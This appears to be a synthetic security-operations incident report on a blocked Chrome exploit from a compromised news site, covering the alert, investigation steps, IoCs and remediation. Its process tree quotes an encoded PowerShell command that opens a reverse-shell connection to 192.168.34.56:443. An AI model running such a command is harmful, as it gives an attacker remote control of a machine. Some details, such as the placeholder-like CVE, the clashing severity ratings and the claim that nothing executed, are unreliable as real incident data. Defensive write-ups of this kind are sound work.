SentinelOne Alert Details
Alert ID: S1-EXPLOIT-CLIENT-1203-7842
Alert Time: 2024-02-13 15:30:45 EST
Severity: CRITICAL (92/100)
Source: SentinelOne Singularity
Rule: “Browser Exploit Attempt – CVE-2024-1234 Detected”
MITRE ATT&CK: T1203 – Exploitation for Client Execution
Alert Details:
Detection: Browser exploit attempt via compromised website
Host: SLS-WS-112 (Sales Department)
User: jharris (Jennifer Harris, Sales Rep)
Time: 15:28 EST
Process Tree:
– chrome.exe (PID: 7842)
– chrome.exe –type=renderer (PID: 7845)
– Suspicious child process: cmd.exe (PID: 7890)
– Command: cmd.exe /c powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADMANAAuADUANgAnACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AA==
Exploit Details:
– URL: hxxp://news-breaking[.]net/article?7842 (Compromised news site)
– Exploit: CVE-2024-1234 (Chrome V8 remote code execution)
– Payload: Reverse shell to 192.168.34.56:443
– Sandbox Detection: Heap spray, ROP chain, shellcode
SentinelOne Action:
– Process blocked (kill)
– Host quarantined
– Exploit prevented
Additional Context:
– User visited news site during lunch break
– Site compromised with exploit kit
– No prior detections from this site
SOC Investigation Process
| Step | Action | Tools Used | Findings |
|---|---|---|---|
| 1. Alert Validation | Verify SentinelOne alert | SentinelOne Console | Confirmed browser exploit attempt blocked |
| 2. User Contact | Interview user | Teams, Phone | User visited news site; no issues noticed |
| 3. URL Analysis | Investigate compromised site | URLScan.io, VirusTotal | Site hosted exploit kit; reported to hosting provider |
| 4. Endpoint Scan | Full scan of host | SentinelOne | No persistence; exploit blocked before execution |
| 5. Blocking | Add domains to blocklists | Zscaler, Palo Alto | news-breaking.net added to blocklists |
| 6. Threat Hunting | Check other users for same site | Zscaler Logs, Splunk | 3 other users visited same site (all blocked) |
Jira Incident Report
Ticket: SOC-2024-069
Summary: T1203 – Browser Exploit Attempt via Compromised News Site
Status: RESOLVED
Resolution: MALICIOUS – Exploit Blocked
Priority: P2 – MEDIUM
Labels: T1203, client-exploitation, browser-exploit, sentinelone, cve-2024-1234
Components: Endpoint-Security, Web-Security
INCIDENT ANALYSIS REPORT
1. Initial Context:
- Detection Source: SentinelOne Singularity.
- Alert: “Browser Exploit Attempt – CVE-2024-1234 Detected”.
- Host: SLS-WS-112 (Sales Department, user jharris).
- Time: 2024-02-13 15:30 EST.
- Technique: MITRE ATT&CK T1203 – Exploitation for Client Execution.
2. Technical Analysis:
- Exploit Details:
- CVE: 2024-1234 (Chrome V8 remote code execution)
- Vector: Compromised news site with injected exploit kit
- URL: hxxp://news-breaking[.]net/article?7842
- Exploit Kit: Fallout Exploit Kit (variant)
- Payload:
- Reverse shell to 192.168.34.56:443 (internal IP – likely another compromised host)
- PowerShell encoded command similar to T1059 pattern
- Attempted to establish C2
- SentinelOne Protection:
- Detected exploit heap spray patterns
- Blocked process creation (cmd.exe)
- Killed Chrome renderer process
- Quarantined host automatically
- User Activity:
- User visited news site during lunch (15:28)
- No interaction with malicious content
- Site loaded exploit in background
3. Investigation Findings:
- Timeline:
15:28 – User visits news-breaking.net
15:28:30 – Exploit kit loads
15:28:35 – Heap spray detected
15:28:40 – SentinelOne blocks child process
15:28:45 – Host quarantined
15:30 – Alert triggers
15:32 – SOC investigation begins
- Scope:
- 3 other users visited same site (all blocked by Zscaler)
- No successful compromises
- Internal IP 192.168.34.56 identified as ENG-WS-045 (compromised earlier, already isolated)
- Indicators of Compromise (IoCs):
Network:
– Domain: news-breaking[.]net
– IP: 185.143.221[.]67 (hosting exploit)
– Internal C2: 192.168.34.56:443
Exploit:
– CVE-2024-1234
– Heap spray patterns
4. Containment Actions:
- Immediate Actions:
- news-breaking.net added to Zscaler, Palo Alto, Umbrella blocklists.
- User’s host released from quarantine after full scan (clean).
- Internal C2 host already isolated (from previous incident).
- Site Takedown:
- Reported to domain registrar and hosting provider.
- Site taken down within 24 hours.
5. Root Cause Analysis:
- Primary Cause: Compromised news site serving exploit kit.
- Contributing Factors:
- Users visit news sites during breaks.
- Chrome browser up-to-date (CVE still zero-day at time).
- SentinelOne’s behavioral detection caught exploit.
6. Business Impact: None – exploit blocked.
7. Remediation & Prevention:
Completed Actions:
Malicious domain blocked.
Users notified.
Host confirmed clean.
Prevention Enhancements:
Enhanced Zscaler policy to block newly registered domains.
Pushed Chrome update to all endpoints.
Enabled additional exploit detection signatures.
8. Conclusion:
A user visited a compromised news site hosting an exploit kit targeting Chrome. SentinelOne detected and blocked the exploit attempt before any code execution. No compromise occurred.
Closure Rationale: Exploit blocked; domain blacklisted; users safe.
Analyst: [Walter White], SOC Analyst
Date: 2024-02-13 16:30 EST